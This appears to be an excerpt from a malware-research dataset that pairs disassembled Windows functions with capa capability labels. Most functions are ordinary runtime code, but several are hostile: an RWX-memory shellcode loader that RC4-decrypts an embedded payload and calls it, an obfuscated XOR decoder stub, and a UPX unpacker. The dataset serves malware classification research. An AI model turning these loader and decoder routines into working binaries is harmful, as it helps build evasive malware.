joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45d908
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45da52
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0045cf10
xor eax, eax
push ebp
push 0x45da35
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x45d96d
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x45d96d
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x45da1f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x45d980
call fcn.00403d94
jmp 0x45da3c
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x45da1f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x45da1f
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403730
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x45da1f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040b044
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x45da6c
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4610e4]
mov dl, 1
mov eax, dword [0x45beb0]
call fcn.0040b994
call fcn.00403ce8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45da3c
mov eax, dword [ebp - 4]
call fcn.0045cf1c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45da59
lea eax, [ebp - 0x28]
call fcn.0040430c
ret
Function at 0x401810
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
xor eax, eax
mov byte [esp + eax + 8], al
inc eax
cmp eax, 0x100
jb 0x401818
push ebx
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor ecx, ecx
push edi
mov edi, dword [esp + 0x120]
mov byte [esp + 0x10], cl
mov eax, ecx
mov bl, byte [esp + ecx + 0x18]
cdq
idiv edi
mov al, byte [edx + ebp]
mov dl, byte [esp + 0x10]
add al, bl
add dl, al
mov byte [esp + 0x10], dl
mov edx, dword [esp + 0x10]
and edx, 0xff
inc ecx
cmp ecx, 0x100
mov al, byte [esp + edx + 0x18]
lea esi, [esp + edx + 0x18]
mov byte [esp + ecx + 0x17], al
mov byte [esi], bl
jb 0x40183c
mov eax, dword [esp + 0x128]
xor ecx, ecx
xor bl, bl
mov byte [esp + 0x10], cl
test eax, eax
jle 0x4018e6
mov ebp, dword [esp + 0x124]
mov edx, dword [esp + 0x10]
and edx, 0xff
mov al, byte [esp + edx + 0x18]
lea esi, [esp + edx + 0x18]
add bl, al
mov byte [esp + 0x14], bl
mov edx, dword [esp + 0x14]
and edx, 0xff
lea edi, [esp + edx + 0x18]
mov dl, byte [esp + edx + 0x18]
mov byte [esi], dl
mov byte [edi], al
add al, dl
mov dl, byte [ecx + ebp]
and eax, 0xff
mov al, byte [esp + eax + 0x18]
xor dl, al
mov eax, dword [esp + 0x128]
mov byte [ecx + ebp], dl
mov dl, byte [esp + 0x10]
inc ecx
inc dl
cmp ecx, eax
mov byte [esp + 0x10], dl
jl 0x40188f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x108
ret
Function at 0x401900
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x1a8
push ebx
push esi
push edi
mov eax, dword [str.Kernel32.dll]
mov ecx, dword [0x40766c]
mov edx, dword [0x407670]
mov dword [esp + 0xc], eax
mov al, byte [0x407674]
mov dword [esp + 0x10], ecx
mov ecx, dword [str.VirtualAlloc]
mov dword [esp + 0x14], edx
mov edx, dword [0x40765c]
mov byte [esp + 0x18], al
mov eax, dword [0x407660]
mov dword [esp + 0x2c], ecx
mov cl, byte [0x407664]
mov dword [esp + 0x30], edx
mov edx, dword [str.VirtualFree]
mov dword [esp + 0x34], eax
mov eax, dword [0x407650]
mov byte [esp + 0x38], cl
mov ecx, dword [0x407654]
mov dword [esp + 0x6c], edx
mov edx, dword [str.FindResourceA]
mov dword [esp + 0x70], eax
mov eax, dword [0x407640]
mov dword [esp + 0x74], ecx
mov ecx, dword [0x407644]
mov dword [esp + 0xac], edx
mov dx, word [0x407648]
mov dword [esp + 0xb0], eax
mov eax, dword [str.LoadResource]
mov dword [esp + 0xb4], ecx
mov ecx, dword [0x407630]
mov word [esp + 0xb8], dx
mov edx, dword [0x407634]
mov dword [esp + 0xec], eax
mov al, byte [0x407638]
mov dword [esp + 0xf0], ecx
mov ecx, dword [str.LockResource]
mov dword [esp + 0xf4], edx
mov edx, dword [0x407620]
mov byte [esp + 0xf8], al
mov eax, dword [0x407624]
mov dword [esp + 0x12c], ecx
mov cl, byte [0x407628]
mov dword [esp + 0x130], edx
mov edx, dword [str.SizeofResource]
mov dword [esp + 0x134], eax
mov eax, dword [0x407610]
mov byte [esp + 0x138], cl
mov ecx, dword [0x407614]
mov dword [esp + 0x16c], edx
mov dx, word [0x407618]
push 0x40
mov dword [esp + 0x174], eax
mov al, byte [0x40761a]
mov dword [esp + 0x178], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov word [esp + 0x17c], dx
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000
push 0x4b0
push 0
mov byte [esp + 0x18a], al
mov dword [esp + 0x1bc], ecx
mov dword [esp + 0x1c0], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov ecx, 0x12c
mov esi, 0x40705c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, str.khed2349iJg7785ABYUIjh8_yhy
or ecx, 0xffffffff
xor eax, eax
push 0x4b0
repne scasb al, byte es:[edi]
not ecx
push ebx
dec ecx
push ecx
push str.khed2349iJg7785ABYUIjh8_yhy
call fcn.00401810
mov ecx, dword [0x40750c]
add esp, 0x10
lea eax, [esp + 0xc]
add ecx, ebx
push eax
push str.khed2349iJg7785ABYUIjh8_yhy
call ecx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1a8
ret
Function at 0x519730
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xaf000]
push edi
jmp 0x51974a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x519751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519740
mov eax, 1
add ebx, ebx
jne 0x519763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x519774
jne 0x519793
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519793
dec eax
add ebx, ebx
jne 0x519780
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x519758
add ebx, ebx
jne 0x51978f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5197e5
xor ecx, ecx
sub eax, 3
jb 0x5197ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51981a
sar eax, 1
mov ebp, eax
jmp 0x5197b6
add ebx, ebx
jne 0x5197b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519784
inc ecx
add ebx, ebx
jne 0x5197c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519784
add ebx, ebx
jne 0x5197d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5197c6
jne 0x5197e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5197c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x519804
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5197f6
jmp 0x519746
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x519804
add edi, ecx
jmp 0x519746
pop esi
mov edi, esi
mov ecx, 0x3063
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x519822
cmp byte [edi], 0x13
jne 0x519822
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x519827
lea edi, [esi + 0x116000]
mov eax, dword [edi]
or eax, eax
je 0x51989f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x129ecc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x129ff8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x519854
mov ecx, edi
jns 0x519883
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x129ffc]
or eax, eax
je 0x519899
mov dword [ebx], eax
add ebx, 4
jmp 0x519871
call dword [esi + 0x12a00c]
mov ebp, dword [esi + 0x12a000]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5198d3
sub esp, 0xffffff80
jmp 0x45d8dc
Function at 0x41225f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x41226e
pop dword [ebp - 0x18]
mov eax, 0x41226e
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xfb8cc9d5
add dword [ebp - 0x28], 0x52c57b76
mov dword [ebp - 0x24], 0xbfe34ba5
sub dword [ebp - 0x24], 0x8dafff60
mov dword [ebp - 0x20], 0xa3dcff55
sub dword [ebp - 0x20], 0x5790bb27
mov dword [ebp - 0x1c], 0xdcce6273
add dword [ebp - 0x1c], 0x23319d8d
lea eax, [ebp - 0x28]
push eax
mov eax, 0x61197166
sub eax, 0x60d7f082
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xd63dfa05
add dword [ebp - 0x28], 0x9e346f51
mov dword [ebp - 0x24], 0x378f54e8
sub dword [ebp - 0x24], 0xf622f373
mov dword [ebp - 0x20], 0x4e29cb66
add dword [ebp - 0x20], 0x1545a106
mov dword [ebp - 0x1c], 0x84d49075
add dword [ebp - 0x1c], 0x7b2b6f8b
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x6923a5f
sub eax, 0x650b987
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3a817
push 0
call eax
mov ecx, 0x501c
mov esi, eax
mov edx, 0x15b74bdd
sub edx, 0x1574b5dd
add edx, dword [ebp - 0x18]
mov edi, 0xc46f9952
add edi, 0xe5fa07c3
add dword [ebp - 0x14], edx
mov ebx, dword [edx]
sub dword [ebp - 4], 0x3274e1ae
xor ebx, edi
xor dword [ebp - 8], 0xb3b6b705
mov dword [esi], ebx
sub dword [ebp - 8], 0xcdd5bd82
add esi, 0x94d32fad
add esi, 0x6b2cd057
add edx, 0xd0b129e7
sub edx, 0xd0b129e3
loop 0x412385
add eax, 0xdd0c4d06
sub eax, 0xdd0b19c3
mov ebx, eax
add eax, 0x7f7daa56
add eax, 0x808255af
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x412d04
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x424eb0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
test eax, eax
je 0x412d38
push eax
push str.Unable_to_initialize_socket_library__error__d_n
call fcn.004115c7
pop ecx
pop ecx
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.00413fde
add esp, 0x194
ret

Function at 0x412f61
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push 0x28
mov eax, 0x417882
call fcn.00414056
mov esi, ecx
lea ecx, [esi + 0xc]
mov dword [ebp - 0x34], esi
mov dword [esi], vtable.Socket.0
call fcn.0041225f
and dword [ebp - 4], 0
push 6
push 1
push 2
mov byte [esi + 0x14], 0
call dword [sym.imp.ws2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x412fcf
and dword [ebp - 0x20], 0
push 0xf
pop eax
push eax
push str.socket___failed
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x30], 0
call fcn.00404698
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
mov dword [ebp - 0x14], eax
push 0x421b08
lea eax, [ebp - 0x30]
push eax
call sub.msvcr100.dll__CxxThrowException
mov dword [esi + 8], accept
mov eax, esi
call fcn.004140a0
ret

Function at 0x413a0e
Capabilities:
Create thread

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push 0
mov esi, ecx
push esi
push 0x41399d
push 0
push 0
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
pop esi
test eax, eax
jne 0x413a54
call dword [sym.imp.msvcr100.dll__errno]
push dword [eax]
call dword [sym.imp.msvcr100.dll_strerror]
push eax
push str.Unable_to_start_thread:__s_n
call fcn.0041130e
add esp, 0xc
xor al, al
pop ecx
ret
mov al, 1
pop ecx
ret

Function at 0x413fde
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424eb0]
jne 0x413fe8
repz ret
jmp fcn.00414667
Function at 0x4030d8
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x403114
movzx eax, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x403134
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.004052d0
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x40336c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00405050
test esi, esi
jne 0x4033a2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00405140
jmp 0x4033c0
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403270
mov edi, eax
test esi, esi
je 0x4033c0
cmp dword [ebx], 0
je 0x4033c0
dec esi
jmp 0x4033a9
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403f80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4c1020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404018
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403ff8
xor eax, eax
push ebp
push 0x403ff1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x404034
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ff8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x4c1020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4c1020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404e1c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4c704c], 0
je 0x404e7d
cmp word [0x4c7220], 0xd7b2
jne 0x404e45
cmp dword [0x4c7228], 0
jbe 0x404e45
mov eax, 0x4c721c
call dword [0x4c7238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404ea4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4c102c], 0
jne 0x404e99
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x404fd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x4c1034], 0
je 0x404ffa
mov edx, esi
mov eax, ebx
call dword [0x4c1034]
jmp 0x405009
mov eax, 8
call fcn.00402f08
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x4c704d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404f9c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4067b0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4069e0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x406833
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4069e0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x406833
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4069fc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4068bc
xor eax, eax
push ebp
push 0x4068b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004065ec
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40689a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406a1c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40689a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4068bc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4069d6
cmp byte [ebp - 0xd], 0
jne 0x406903
cmp byte [ebp - 0x12], 0
je 0x4069d6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40691c
dec ebx
cmp byte [ebx], 0x2e
je 0x40692b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40691b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4069d6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406968
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4069d6
cmp byte [ebp - 0xd], 0
je 0x4069d6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4069d6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4093e8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40943a
test eax, edx
je 0x40943d
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x4093fd
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x409423
add ecx, 4
js 0x409413
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x409420
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x409449
test edx, edx
jne 0x4093f0
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x409d24
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004054f0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409d42
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 2
je 0x409d63
cmp ebx, 3
je 0x409d63
cmp ebx, 0x7b
je 0x409d63
mov eax, esi
call fcn.00409ce4
test al, al
jne 0x409d67
xor eax, eax
jmp 0x409d69
mov al, 1
pop esi
pop ebx
ret

Function at 0x409d6c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004054f0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409d85
test al, 0x10
jne 0x409d89
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40d4a8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d4e1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00405140
jmp 0x40d4ea
mov eax, ebx
mov edx, esi
call fcn.004050a4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d4f4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d516
movzx eax, byte [esp]
jmp 0x40d518
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40dba8
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40da20
mov eax, dword [0x4c65f8]
cmp byte [eax], 0
je 0x40dc24
mov eax, dword [0x4c6274]
call fcn.004037a8
call fcn.00403064
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040a2ac
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40dc6c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40dc5a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4c61e8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4c97f8]
call fcn.00406594
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40e52c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e602
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004050e8
lea eax, [ebp - 4]
call fcn.00405548
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004054f0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40e5ec
mov eax, ebx
call fcn.00402f08
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40e5e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004054f0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40e5cf
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40e614
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40e5cf
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e5ec
mov eax, dword [ebp - 0x10]
call fcn.00402f24
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e609
lea eax, [ebp - 4]
call fcn.00405050
ret

Function at 0x420e30
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00420b6c
dec esi
jne 0x420e52
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret